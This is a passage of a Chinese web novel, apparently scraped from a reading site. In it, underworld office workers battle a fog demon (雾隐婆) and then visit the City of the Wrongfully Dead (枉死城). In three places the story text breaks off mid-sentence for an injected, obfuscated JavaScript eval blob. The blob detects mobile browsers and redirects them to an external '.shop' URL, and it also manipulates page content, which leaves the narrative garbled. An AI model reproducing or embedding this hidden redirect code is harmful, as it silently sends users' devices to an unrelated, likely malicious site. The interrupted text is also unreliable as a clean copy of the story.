她继续将整个手伸了进去，推了推周骏驰，嗯，一如既往的有弹性，不对不对，是周骏驰没有反应，这节骨眼儿上，什么弹性不弹性的。 “得把他弄醒啊……” 乔林抓住他的肩膀使劲摇晃了几下，对方却没有一点反应，但这几下带动了乔林身上的上，疼得她龇牙咧嘴的。 “这可就别怪我了，我也是没办法……” 乔林朝那只好手的手心上吐了口唾沫，朝着周骏驰的脸啪啪地拍了起来。 “周骏驰！周骏驰！” 周骏驰的睫毛轻轻动了动，黑雾也慢慢地开始散去。 “有反应？”乔林转了转手腕，准备给周骏驰致命一击。 正当乔林高高地举起胳膊，身前的周骏驰眼睛开始由一潭死水逐渐变得有了神智，呈现出一种朦胧的状态。 他的身体也由一开始的僵直逐渐变得绵软，朝正前方的手臂高高举起的乔林身上倒去。 “哎！哎！哎！” “哎！哎！哎！” 前三声哎是乔林面对始料不及的“拥抱”以及身体疼痛而发出的尖叫，后三声哎却不是她发出的。 只见谢必安伸长胳膊用食指指着躺在地上的乔林和趴在她身上的周骏驰一脸八卦地从稀疏的白雾中走来。 “老子在前线拼杀，你们在这里卿卿我我？你还拿不拿我当人了？我早就怀疑你俩有一腿，还不承认？” 但此时此刻，谢必安的声音传到乔林的耳朵里，仿佛加了一层嗡嗡响的音效。 人的脑子有时候很难同时处理两件大事。 所以，比起同事的“污言秽语”，眼前这张近在咫尺的脸和紧密贴合的双唇才是乔林此刻关注的重点。 快推开他啊。 一个声音忽然在乔林一片空白的大脑中响起，哦哦对。 可她刚一抬手，肩膀就传来一阵钻心的疼痛。 “哦哦哦！” 周骏驰的虽然恢复了神志，但是似乎还没有从幻境中完全走出来，眼睛里便立刻透出了如冰霜一般的杀气。 “周骏驰？”乔林试探性地叫了他一声。 他先是看着乔林的脸，一副如梦初醒的神态。 紧接着他发现了乔林身上的血渍。 “你受伤了？”周骏驰起身，也拉起了躺在地上的乔林，眼睛里有些许愧疚，不知道是因为压倒了乔林，还是因为没能保护好她，“抱歉。” 周骏驰轻声说。 “你俩怎么回事？怎么还亲上了？”谢必安不知道是不是故意的再次把两人再度拉进了尴尬里，不，他就是故意的。 “所以你和雾隐婆对上了，我也和她对上了，”周骏驰看向谢必安，“你刚说你在前线拼杀，也就是说你也和她对上了。” “是，但是一开始我和你俩走散之后，找了好久，一个人也没有，等我遇到雾隐婆的时候她已经受伤了，她想跑，我又给了她一击重创，她应该跑不了多远。” 周骏驰沉吟片刻，说：“我大概知道她在哪儿。” “这雾隐婆是个什么妖怪？”乔林好奇地问道。 “雾隐婆是由江南山林间的雾气滋养出的妖怪，能操控山间的晨雾和夜雾。她会用雾气制造幻象，把迷路的樵夫、旅人引到深山里的陷阱，或是让他们看到去世亲人的模样，消磨掉人的意志。” 周骏驰也看到了去世的亲人了吗？所以他才陷入了幻境吗？ “你还能走吗？”周骏驰看了看乔林的腿，“刚才怪我不小心了，我背你吧。” “没事，你也不是故意的，我能走，掺着点就行。”乔林咧嘴朝周骏驰笑了笑。 “你俩叽叽歪歪恶不恶心，快点儿走了，一会儿雾隐婆跑了。”谢必安打断了两人的对话。 乔林气得用好胳膊使劲儿在谢必安的腰间拧了一把。 “雾隐婆胸口的伤，是锁子甲弄的。”乔林边一瘸一拐地走着边简单交代了一下刚才的战斗过程。 “雾隐婆没说错，你真挺坚强。”周骏驰笑着说。 不知怎的，乔林感觉脸有点烫，像是小时候做了好事，在全校大会上做演讲时的感觉，又有点雀跃又有点羞涩。 周骏驰接着说道，“我们走散后，我就遇到了雾隐婆，中了她的幻术，一直到乔林来，遇到她的时间应该和乔林差不多，而谢必安是在乔林打伤她之后才遇见的她，这就说明她一次只能拥有两个分身。” “她让咱们两个都进入了幻境，可是如果她有这个能力，为什么不用一个分身制造幻境，一个分身杀人呢？对方甚至没有还手的能力。”乔林说。 “她应该一开始只是想将我们分开，逐一击破，”周骏驰分析，“然后让我和你进入了幻境之后选一个进行攻击，我猜她一开始想要先杀死的是我。” “怎么的？你香？”谢必安打趣道。 “滚吧，乔林不是说中间赵红的身体出现了闪烁，应该是想溜，但是被乔林留住了，她就换了目标，准备杀掉乔林后再来找我，”周骏驰看向乔林，“但是她低估了你，她以为你会被幻境困住，但是你逃走了，她又以为能轻松杀掉你，但是被你重创。” “也没有啦……”乔林挠了挠头，忽然间她的脑海中不受控制地浮现出刚才的一幕，眼睛像是定在了他一张一合的嘴唇上。 “看着点路吧，你别再把咱们周副司的嘴给看漏了。”谢必安轻轻推了推乔林的脑袋。 看周围的布置，三人应该来到了他们的办公区，进门处一面大大的黑板墙上，还留有黑板报的痕迹。 “D市辰光机械厂……”乔林努力辨认着黑板上的字迹。 （D市…… 或是让他们看到去世亲人的模样，消磨掉人的意志……） 眼前的字和谢必安的话交织在乔林的脑海里，啊，想起来了，D市，是周骏驰出生的地方，成名之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136034|196284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后他还给这里捐了很多钱，作为他的粉丝，乔林当然也关注了相关报道。 他很少谈及自己，D市是少有的关于他个人的信息。 回忆起周骏驰一开始听到这个地名时眼神里流露出的一瞬间的失神，她不明白，说到老家，不应该是一个值得怀念的地方吗？ 如果说这个地方曾经给他留下了非常痛苦的回忆，那他成名后，又为何要给这里捐款呢？ 乔林又绞尽脑汁地回忆了一下当时的报道，那几次捐款的仪式，周骏驰确实又都由于各种原因缺席了。 她看了看正和谢必安说话的周骏驰，和平时好像又没什么区别。 “想什么呢？”她脑海里的男主角此时朝着她伸出了手，洁白纤长的手指像魔术师手里的怀表一般在她眼前晃动了一下，“小心楼梯。” 乔林的心跟着他的手指也晃动了一下，她不知为何有种预感，周骏驰的人生和他的死也许比自己想象的还要复杂。 通向二楼的楼梯上，乔林看到台阶上留下了几块深深浅浅的水渍，像是雾气凝结后留下的痕迹。 如果是人的话，恐怕这些水渍就是对方的血渍了，但换成了水的话，倒少了些视觉冲击。 几人对视了一眼，放轻了脚步，顺着脚印的方向看去。台阶的尽头是二楼的楼道，楼道的两边是房门紧闭的办公室，仅在尽头处有一扇小小的窗户。 但是窗户上布满了灰尘，将本就稀疏的星光和月光拦在了窗外。 恐怕现在就算是趴在地上，也难以在这种黑暗的环境里看清地上的脚印了。 “还有什么宝贝吗？”乔林冲着另外两人对着口形。 “不能打草惊蛇。”谢必安用双臂在胸前比了X，同时用口型回应着乔林。 乔林冲他点了点头，竖起了大拇指。 周骏驰指了指左边的走廊，带着两人来到了最里面的一扇门前，又从口袋里掏出“缚”字符，贴在了门上。 符纸上窜出像树根一样盘根错节的金光，朝着房子的墙面蔓延开来。 这个符纸的应用场景还挺丰富的，这次回去一定要好好问问娴女，看能不能找机会弄几张，乔林在心里暗戳戳地盘算着。 随着金光的蔓延，屋内也有了动静，是之前听到的那种说不清道不明的窸窸窣窣的爬动声，此刻在寂静的楼道里被无限放大，听得人头皮发麻。 门缝处，丝丝缕缕的雾气向外试探着，像极了毒蛇吐信，可当雾气刚触碰到门边时，却像是被什么东西挡住了，瞬间消融，再也无法前进一步。 周骏驰气定神闲地推开了门。 门内的雾气也朝着门口涌了出来，像一把锤子，狠狠地朝着几人砸了过来。 “邦”的一声，拳头砸在了无形的墙上，发出巨大的声响，就连周围的空气都跟着震动了起来，乔林赶紧掏了掏耳朵。 这道屏障确实牢固，没有丝毫破损，反倒将那铁拳震得四散开来。 但很快雾气又聚集到了一起，凝结成无数钉子，密密麻麻地朝几人射了过来，叮叮当当地砸在了屏障上，从力道上看，她的身体似乎恢复了一些，屏障隐隐有要裂开的迹象。 21. 雾隐婆 周骏驰从腰间抽出他的武器，随着长鞭上符文的亮起，他的周身也涌动起无数细小的金色电流，照亮了昏暗的楼道，划破了屋内的迷雾。 透过金光的间隙，屋内一身着连帽长袍的老妇人，佝偻着身子，一双幽绿的眸子死死地盯着几人，从她的眉眼间，隐约还能看出赵红的模样。 “谁派你来的？”谢必安上前问道。 “白小鬼，你怎知我是被派来的？”雾隐婆用她呕哑的声音反问。 “我知道的多了，还能全都告诉你？”谢必安冷哼一声。 “那我要告诉你你猜错了呢？”雾隐婆说，“杀几个人，还用得着谁指使？我不过是太恨人类罢了。” “不肯说？那就别怪我不客气了。” “哈哈，好大的口气，杀了你，怕是那黑小鬼也要哭瞎了眼咯，”雾隐婆桀桀怪笑，“真是想想就高兴。” “你在外面守好这张符箓，一定不要让它掉下来。”周骏驰说完，大步走进了门内。 谢必安也紧跟其后，他的手中也凭空多了一把招魂幡，与平时葬礼上常见的不同，他手中的这把看上去更像是绸子做的，上面的飘带闪耀着银白的光泽，招魂幡的中间是一连串表情各异的人头挂件，透过绸缎的间隙时隐时现，有种说不出的诡异。 雾钉密密麻麻地织成一张网，伴随着尖锐的破空声，朝着周骏驰和谢必安的周身要害扎去。 周骏驰手腕一翻，长鞭如灵蛇般腾空而起将迎面而来的雾钉击得粉碎。 见攻击完全不起作用，雾隐婆一边用雾钉与二人缠斗，一边用她枯瘦的手掌在身前快速结印，口中念念有词。 随着她的低吟，房间内的雾气开始由白转黑，几双和雾隐婆一样的幽绿色眼睛在黑雾中若隐若现，不出片刻，几条巨蟒吐着信子从黑雾中探出了头。 周骏驰击破最后一根雾钉，转身迎着最粗壮的那条黑蟒旋身而上，鞭梢如流星般抽向蟒头。黑蟒却不躲不闪，张开巨口，喷出一团浓稠的黑雾。 周骏驰闪身躲避黑雾，黑雾却瞬间缠住了长鞭，长鞭上的金色电流与黑雾交缠，发出沉闷的滋滋声。 周骏驰的指尖在手柄处疾速划过，金色电流暴涨，将包裹它的黑雾灼成一缕青烟。 可这短暂的迟滞，已足够另外两条黑蟒包抄过来，它们的身躯撞破墙壁，碎石飞溅中，蟒尾带着劲风扫向周骏驰的腰侧。 周骏驰立刻侧身翻滚，肩头还是被蟒尾擦中，剧痛传来，衣料瞬间被震得粉碎，露出一道青紫的瘀痕。 另一边，谢必安的处境也好不到哪去，巨蟒的黑紫的信子像是章鱼的触手一般缠向他手中的招魂幡。银白绸带上下翻飞，虽挡住蟒齿的撕咬，却挡不住他舌尖上淌下的绿色黏液。 “这也太恶心了吧！”谢必安发出尖锐爆鸣。 随即掌心腾起淡蓝色的幽火，将招魂幡在火上一燎，银绸瞬间焕发出凛冽的银光，那些黏附的黏液被烧得一干二净。 可没等他喘息，雾隐婆的枯笑声从黑雾深处传来：“地府里的白脸小鬼，今天让老妪给你长长见识。” 她抬手一挥，更多的黑雾凝聚成尖刺，混在黑蟒的攻势里，朝着谢必安周身要害射去。 谢必安被迫后退，脚步刚一踉跄，一条黑蟒便趁机缠住了他的脚踝，巨大的拉力让他险些摔倒，招魂幡的飘带也被扯断了两根，银白的绸缎落在黑雾中，瞬间就被腐蚀得无影无踪。 随着屋内二人接连败退，门上的符箓也跟着有了松动的迹象，乔林见状赶忙将双手摁在了符箓上。她的掌心感受到了一阵温热，像是摁在一块暖宝宝上。 虽然符箓再次牢牢地粘在了屏障上，但乔林也不敢将手放开，用力地摁着符箓，生怕一松手就掉下来。 雾隐婆悬在黑雾中央，她扫了一眼乔林便加快了双手结印的速度，似乎想要趁着优势速战速决。 黑蟒的身形竟又粗壮了几分，黑雾也开始疯狂收缩，将周骏驰和谢必安的活动范围压得越来越小，两条黑蟒也趁乱悄悄朝着乔林这边游走过来。 周骏驰稳住身形，他余光瞥见谢必安被黑蟒缠住脚踝，大声喊道：“谢必安，左侧！” 话音未落，他猛地将长鞭掷出，鞭身带着残余的金色电流，如一道闪电般缠住了那条缠足的黑蟒七寸。谢必安心领神会，掌心幽火暴涨，顺势将招魂幡戳向黑蟒的头颅，幽火遇上黑雾，瞬间燃起一片蓝色火海，黑蟒发出一声凄厉的尖啸，身躯在火中寸寸消融。 脱困的谢必安身形一闪，回到周骏驰身侧，两人背靠背站定。 “能撑住吗？”谢必安用戏谑的口气问道。 “小菜一碟。” 雾隐婆显然是被他们的对话激怒了，所有缠斗的黑蟒瞬间弃了目标，如潮水般向她汇聚。蛇身相互攀附、飞速爬升，层层缠绕间拧成一条粗壮无比的蛇绳，浓稠的黑雾紧随其后，尽数裹缠上蛇身。 不过瞬息之间，一条堪比参天古树的巨蟒便在黑雾中盘亘成型，鳞甲泛着诡异的黑芒，随着他的爬动，整个屋子都在剧烈震颤。 “能、能撑住吗？”谢必安这次的问话显然没了之前的嚣张。 “……我尽力。” 巨大的蛇头猛地冲向了二人，可未等它近身，周骏驰便直接冲了上去，纵身跃上蛇头，将手中的长鞭化成一把利剑，周骏驰双手握剑，借着下坠之势狠狠朝着巨蟒头颅的要害刺去。 巨蟒的鳞片无比坚硬，竟硬生生挡住了这一击，剑刃仅刺入分毫便无法再进。巨蟒吃痛，发出一声震耳欲聋的嘶吼，头颅疯狂甩动，试图将周骏驰甩落。 周骏驰双腿死死夹住蛇身，左手紧紧扣住鳞片的缝隙稳住身形，右手握着剑柄奋力向下压，金色电弧顺着剑刃涌入巨蟒体内，滋滋作响间，黑鳞下竟渗出黑红色的血珠。 雾隐婆在黑雾中见状，怒喝一声，操控巨蟒猛地抬头，将头颅狠狠撞向天花板。周骏驰只觉一股巨大的冲击力传来，胸口气血翻涌，险些松开剑柄。 他强咬牙关，借着巨蟒撞向天花板的反弹之力，猛地拔出利剑，又顺势向下一刺，这一次精准对准了巨蟒眼窝下方的软肉处。 “扑哧”一声，利剑顺利刺入，巨蟒发出更为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136035|196284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凄厉的嘶吼，身形剧烈扭动起来，整个屋子的梁柱都在嗡嗡作响，碎石簌簌落下。 周骏驰被巨蟒的扭动带得东倒西歪，肩头的旧伤再度撕裂，剧痛钻心。 此时的谢必安则站在原地，随着他口中低声吟诵，招魂幡上的飘带上下翻飞，幡上的那串人头也跟着微微晃动，发出细碎的啼哭呜咽声，像是无数冤魂在低语。 呜咽声逐渐演变成了惊叫，小人痛苦地张大了嘴，一缕缕黑烟从他们的七窍流出，又逐渐汇聚。 雾隐婆见情势不对，立马调转蛇头朝着谢必安这边扑来。 “看哪儿呢？”周骏驰大喊一声，强忍肩头剧痛，双腿猛地发力夹住巨蟒脖颈，右手死死攥住剑柄，借着巨蟒扭动的力道狠狠向下搅动。 “嗤啦”一声，巨蟒眼窝处的伤口被撕裂得更大，黑红色的血柱喷涌而出，溅了周骏驰一身。 巨蟒吃痛难耐，扑向谢必安的动作陡然滞涩。 周骏驰趁机抽出腰间备用的符纸，指尖凝起金色电流将符纸引燃，狠狠按在巨蟒的伤口处。“轰”的一声，金色火焰顺着伤口蔓延开来，灼烧得巨蟒发出震耳欲聋的哀嚎。 周骏驰也被它剧烈的动作重重地摔到了地上。 “好了没？”周骏驰咬着牙起身。 “好了好了，”谢必安赶忙回答，“您就请好吧。” 只见数百个人形黑影以招魂幡为起点，密密麻麻地交织在谢必安身前，散发出的怨气，让屋外的乔林见了都觉得心里直堵得慌。 随着谢必安将招魂幡指向巨蟒，怨灵们尖叫着扑了上去，将巨蟒包裹其间，大口地啃食着巨蟒的血肉，场面让人不寒而栗，甚至让乔林开始质疑究竟谁才是反派。 “下一个该你了。”谢必安手持站到了屋门的对面。 怨灵从仅剩蛇骨和脓血的巨蟒上抬起头，逐渐地将雾隐婆包围起来。 雾隐婆踉跄着朝门口跑来。 “就现在！”周骏驰朝着乔林大喊一声。 乔林赶忙收紧核心，扎稳马步，将注意力全部放在了眼前的符箓上。 紧接着一张金色的网朝着乔林和雾隐婆这边罩了过来，一边收紧一边将雾隐婆推向了符箓。 “你们人类一定会付出代价的！！” 随着雾隐婆凄厉的叫喊，一股巨大的推力朝着乔林袭来，就像是跳水时直直地扑在了水面上，她的五脏六腑都在翻滚，一股热流直接冲向喉咙和牙齿。 和胸口的剧痛比起来，肩膀上的伤此时也显得无足轻重了。 巨大的耀眼的光芒包裹住了乔林，她什么都看不见了。 但很快，也许就一秒，所有的感觉都消失了，周围再次黑了下来，手上的符箓也变得轻飘飘的。 她赶紧抓紧符箓，只见纸上在原本的“缚”字后面，多了一团云雾状的图案。 但这一切并没有结束，屋内谢必安双手紧握招魂幡，正在发出痛苦的闷哼。 幡身周围悬浮的人形黑影开始躁动起来，原本温顺的怨气变得有些狂躁，在屋内隐隐翻涌，让空气都多了几分滞涩感。 22. 枉死城 “比起叫他们出来，更难的是让他们回去。”谢必安无奈地说道，额角渗出些许薄汗。 “用不用帮忙？”周骏驰略带戏谑地问道，看起来丝毫没有要帮忙的准备。 “算了吧，我看你都快散架了。”谢必安见对方艰难的从地上撑起身子，撇嘴摇了摇头。 谢必安重新举起招魂幡，口中念动收魂咒文，比起召唤时的吟唱，这段咒文听起来让人觉得内心平和多了，像是哄孩子睡觉的摇篮曲一般。 可咒文刚起，那些躁动的黑影便猛地冲撞过来，让谢必安身形微微一晃。招魂幡上的人头挂件跟着发出细碎的呜咽，飘带也剧烈翻飞起来。 乔林在门口看得心头一紧，下意识地攥紧了手中的符箓。 几道黑影趁着谢必安稳住身形的间隙，试图朝着乔林扑来，随着“啪啪”两声脆响，周骏驰手中的鞭子精准击中黑影，将其击散。 不知道什么时候，周骏驰已经站在了自己的身侧。 “快点吧，别磨蹭了。”周骏驰对着谢必安喊道。 谢必安的嘴暂时没有时间，用眼睛狠狠地白了一眼周骏驰，顺便加快了咒文的吟诵速度。 只见他掌心幽火暴涨，顺着招魂幡蔓延开来，银白飘带泛着凛冽的银光，主动朝着那些黑影缠去，黑影在其中挣扎了几下，最终还是化作一缕青烟，钻进了人头的七窍。 乔林也跟着长出了一口气。 “结束了？”她小心翼翼地问道，生怕跟电视剧里一样，越到最后越要出岔子。 “嗯。”周骏驰轻轻地应了一声。 听到了肯定的答复，乔林这才彻底放下心来，可这心一放下来，膝盖竟还有些打软了，眼见着就要一屁股坐到地上，多亏着周骏驰扶住了她。 乔林看了看身上破破烂烂的周骏驰，看了看满身血污的谢必安，又看了看折胳膊断腿的自己，这个画面有种说不出的喜感，戳到了乔林的笑点，她忍不住放声大笑。 其余二人都投来了“你疯了吗？”的眼神。 但下一秒，她的笑容僵在了脸上。 周骏驰用手指轻轻地在她的脸颊上蹭了一下，他指尖的温度透过皮肤，灼热了乔林的脸颊。 还没等乔林开口，对方紧接着将手指伸到了乔林的眼前：“血。” 乔林这才反应过来，周骏驰是在给她擦拭嘴边的血迹。 她不知道自己什么时候吐血了。 刚才那一个瞬间，乔林感觉自己的心几乎要从胸口蹦出来了，她第二次想到了周骏驰的嘴唇，乔林忽然觉得嗓子很干，她咽了口口水。 “有人管管我吗？”谢必安已经收起了招魂幡朝着这边走来。 “快点的吧，回去还有一堆事等着呢。”周骏驰说道。 “什么？我要休息！”谢必安抗议，乔林冲着他竖起了大拇指。 “乔林可以休息，你不行。” “不公平！” “我受伤了，你怎么了？” “我内伤。”谢必安做西子捧心状。 回到办公室后周骏驰没有理会瘫坐在沙发上的两个人，径直走进了旁边的休息室，不消片刻，便穿戴整齐地再次出现，和刚才衣衫褴褛的样子判若两人。 “我还是更喜欢你刚才的打扮，比较有破碎感。”乔林随口说道，顺带着用手在空中比画了两下，不知道是不是在示意先前周骏驰破烂衣服上的“流苏”。 “那我穿给你看？”说着周骏驰竟真的开始解开衬衣的扣子。 “我不看。”乔林赶紧捂住了眼睛。 虽然身上有伤，但是乔林心中觉得有种说不出的雀跃，她觉得和周骏驰的关系，在一次次的并肩作战中逐渐熟络了起来。 以前心中的“高岭之花”，现在就在自己的身边，和自己开着玩笑。 “喂喂喂，这还有人呢，要不是我实在不想动，我可真的要走了。”谢必安也大声抗议道。 “不看还不赶紧起来干活。” 说是捂住眼睛，乔林的眼睛倒是睁得老大，指缝也留足了间隙。 可惜周骏驰只是解开了衬衣的第一粒扣子，顺带着松了松领带，摆出了一副要大干一场的架势。 怪不得他能当老板，真是实打实的高精力人，乔林心里暗暗佩服。 “你去孙姐那里治疗，顺便要一份地府妖怪的名录。”周骏驰对着乔林说道，安排完这边，又转头看向谢必安，“你赶紧回范无救那里，他那边都要忙死了。” “还让不让人活了！”谢必安一边仰天长啸，一边利落地从沙发上弹跳起来。 说到范无救，乔林心中一动，许清晨那件事情的业绩点已经到账了，足足给了237点，也许是认可了乔林找到许清晨的功劳。 “许清晨怎么样了？”乔林着急地问。 这算是乔林第一单自主工作的任务，她觉得自己应该善始善终。 况且许清晨的遭遇和她又有几分相似，都是爱自己的父母先离世，留下了不爱自己的，一个人打拼日子。 那苦她吃过，许清晨走上极端她也理解，所以她难免感同身受。 “治疗完你可以自己去问他。”周骏驰翻阅着办公桌上的文件，头也不抬地说道。 “我先去问再去治疗。”乔林着急得连推带搡地就把谢必安挤出了周骏驰的办公室。 倒也不是乔林过于心急。 当时在战斗中，她确实觉得膝盖碎了，但是经过了这大半天，竟也奇迹般的没那么疼了。 肩膀上的伤更是，只要不做什么大动作，基本已经没什么痛感了。 “你恢复的挺快啊，要不和周骏驰说说，你别休假了。”被推出门的谢必安用“别给我装”的眼神看着乔林。 “我错了，”乔林赶紧作揖，“小人要是有什么得罪您的地方，您大人有大量，以后小人必以您老人家马首是瞻。” 说着用手抬起了谢必安的胳膊，妥妥李莲英转世。 “这还差不多。” “那您老人家方便告诉我一声，范无救在哪儿了吗？” “枉死城【注】。”谢必安回答。 枉死城？乔林顿时感觉手脚冰凉，她想起了自己先前和周骏驰的对话。 （“枉死城？” “轻生自杀者死后的去处，每逢戌、亥日，他们临死时的一切痛苦情境会再次出现，被反复折磨……”） 她头重脚轻地拖着腿跟着谢必安一路朝着枉死城走去。 远远就看到一大一小两座宫殿伫立在那里，大的是第六殿卞城王的明晨宫，旁边小的就是枉死城。 明晨宫以墨色玄石为基，白玉为墙，墙上错落有致地镶嵌着无数夜明珠，散发着温润而庄重的白光，将宫殿轮廓照得一清二楚。 与之相比，旁边的枉死城就暗淡多了，通体是黑色的石砖，没有任何华丽的雕刻，只在墙体四周刻画着密密麻麻的镇魂符文，符文泛着微弱的暗红色光芒，像一道道枷锁束缚着城内的戾气。 乔林看得有些失神，这一看也知道不是什么好鬼待的地方，想到许清晨每到戌、亥日就要被反复折磨，她的心情跌到了谷底。 直到谢必安的声音在耳边响起，“发什么愣？走吧，进去再说。” 也对，先看看他，交代他在里面先好好改造，看看有没有什么办法能和卞城王搭上话，替许清晨求求情。 乔林瞄了一眼旁边的谢必安，嗯，他是老员工了，说不定就和卞城王认识。 城门缓缓打开，正午耀眼的阳光照在乔林的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136036|196284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上，她赶紧用手挡了挡，直到眼睛适应了城内的光线，她再次睁开眼，一条笔直的街道映入眼帘。 街道两旁是大大小小的房子，有住户有商户，五金、果蔬、服装……应有尽有，城市的正中央则矗立着一座意义不明的通天高塔。 “那座塔……”还没等乔林问完，就看到范无救带着许清晨走了过来。 “乔林！”许清晨看起来比上次阳光了不少，挥手和乔林打招呼。 “呜呜呜，你在里面好好改造，争取早点出来，我替你好好求情。”看到许清晨为了不让自己担心，强颜欢笑的样子，乔林再也抑制不住泪水，抱着他哭出了声。 “你说什么呢？”许清晨一头雾水。 “不用骗我了，我都知道，你在这枉死城里，每到戌、亥日都会被反复折磨……” “你快拉倒吧，”许清晨赶紧把乔林拉开，又用手抹干净了她的眼泪，“你看我像是被折磨的样子吗？” “这不是还没到戌、亥日嘛……” “没有，我现在和你一样，是地府的员工了，”许清晨骄傲地掏出地府统一发放的手机，在乔林的眼前晃了晃，“我没被判成自杀。” “那你来这枉死城干嘛？”乔林不解地问。 “一看你就是没好好做功课，连地府的基本架构都不知道。”谢必安在一旁揶揄她。 “什么架构？” “地府通里专门有一个关于地府组织架构的板块，你回去真应该好好看看。” “我回去就看，你现在先告诉我是怎么回事。”乔林继续追问。 “枉死城是专门收纳那些并非寿终正寝，而是死于意外、冤屈、横祸的魂魄的。”谢必安解释道，“这些魂魄怨气较重，不能直接进入轮回，也难以被普通阴司辖制，枉死城就是它们的暂居之地，避免它们流窜阳间作乱，一直到命定的寿终正寝之日，再重新轮回。” “我明白了，自杀也是其中的一种，只是会受到惩罚的一种，许清晨只是没有寿终正寝，但是不是自杀。” “正确。” “所以我来枉死城办些手续，毕竟按照流程，我应该是被分到这里。”许清晨解释道。 听到这儿，乔林算是彻底明白了，放下了心，她的目光再次被枉死城中的大柱子吸引住了。 “那座塔是干什么的？”乔林放心了。 “你的话题转换得也太快了吧？你什么脑回路？”谢必安拍了拍乔林的脑袋，似乎那是一台坏掉的电视机。 “必安，不要无理，”范无救及时制止了谢必安的输出，向乔林发出邀请，“既然来了，不如逛一逛。” “那我勉为其难陪你们逛一逛吧。”谢必安大刺刺地准备带路。 “你？”范无救的眼里闪过一丝寒光，手腕轻轻一抖，手中出现了一条长长的单子，“你先和我把生死簿上的名字处理一下，别想偷懒。” 谢必安只得眼含不舍的热泪，一步三回头地走了。 【注】根据《玉历宝钞》的记载，主管枉死城的是十殿阎罗中的第六殿阎罗王卞城王，传说是地藏王菩萨创建的用于收容枉死之人的魂魄的阴间城市，类似于关押罪犯的监狱。 传说中枉死之人的亡魂，需要熬到天定的寿命才能被释放。比如一个人应该活到100岁，五十岁就死了，就要在城中关押至100岁，后续再依其生前善恶定功过，安排转世投胎。 关押期间，亡魂虽能如阳世般生活，也可登城观望仇者是否遭报应，这就是文中高塔的作用。 只是枉死城的人既收不到亲友烧的冥纸、纸扎，中元节也不能返阳受供养。 所有烧给他们的祭品，皆由地藏王座下目莲尊者暂管，待亡魂亲眼见仇者伏法、关押期满，才会转交。 23. 《妖怪名录》 “走吧。”许清晨拍了拍乔林的肩膀，乔林回过头，视线落在了许清晨的下巴上。 哦，总觉得许清晨是个小孩儿，没注意到他居然还挺高的呢，乔林微微仰头，才对上了他的目光。 他的眼睛亮亮的，像含了一汪春水，正笑盈盈的盯着乔林，不知道是不是被阳光晒久了，他白嫩的皮肤泛着红晕。 啊，真好，满满的胶原蛋白。 “你对这儿熟悉吗？那个塔是干什么的？”乔林对那个塔的作用真是充满了执念。 “还行吧，刚无救哥带着我转了转。”许清晨认真的回答着乔林的每一个问题，“那个塔的顶端可以看到人间，在这里生活的人因为是枉死的，所以心中对于害他死亡的人都充满了怨恨，只有在塔顶看到他怨恨的人受到了应有的报应，才能化解怨气安心去投胎。” 和先前的玩世不恭相比，现在的许清晨从头到脚都流露着一种温柔的气息，连声音也是，可见他已经放下了心中的执念。 “你为什么会选择来这儿上班？” 枉死城的马路上人来人往，和人间几乎别无两样，要是在这儿每天生活应该也不是什么坏事，乔林心想。 “我见到爸爸了，爸爸也在这儿工作，我在镜子里看到的就是爸爸工作的样子，他无时无刻不在挂念我，”许清晨说，“乔林，谢谢你，你救了我，你为什么要救我？” “看你可怜呗。”乔林说。 “我？哪里可怜？”许清晨有点不符。 “你的眼神跟离群的小狼似的，可怜巴巴的。” “哈？你别胡说，要是我也是狼王，什么小狼？” 还没等许清晨的话说完，乔林兜里的手机大叫开来。 “稍等，我接个电话。” 屏幕上周骏驰三个字闪的乔林头晕。 “你还没去治疗吗？” “你怎么知道？” 话筒那边的人沉默片刻。 “孙姐给我打电话问我点事情，就顺嘴问了一句。” “没事，又不是什么大不了的伤。” “拖着不治，你不怕有后遗症？”这句是周骏驰吓唬乔林的，但乔林信了。 周骏驰的话就像年轻的时候不多穿老了就得老寒腿一样，让人望而生畏。 乔林赶紧把手机揣进兜里，转头对许清晨抱歉的说道，“今天可能没时间跟你逛街了，我要去趟孙姐那儿，时间紧，不说了。” 乔林拍了拍许清晨的肩膀，一切一拐的朝大门跑去，留下了许清晨独自一人站在了原地。 “孙姐，你这儿有没有地府妖怪的名录？”乔林气喘吁吁的来到了孙姐的办公室。 “你可算闲下来了。”孙姐抬了抬红色边框的眼镜，一脸慈祥得看着乔林。 “哈哈是啊。”乔林苦笑一下，心说，拜您所赐啊，入职的时候说好的简简单单的文员工作在哪儿呢，我请问。 “要领治愈符箓是吧？” “啊？您怎么知道？” “刚打电话的时候，周副司嘱咐我来着，”孙姐从办公桌后的书堆里翻腾出一个大本子，“在这儿签个字，写上……你都哪儿受伤了？” “肩膀和腿。” 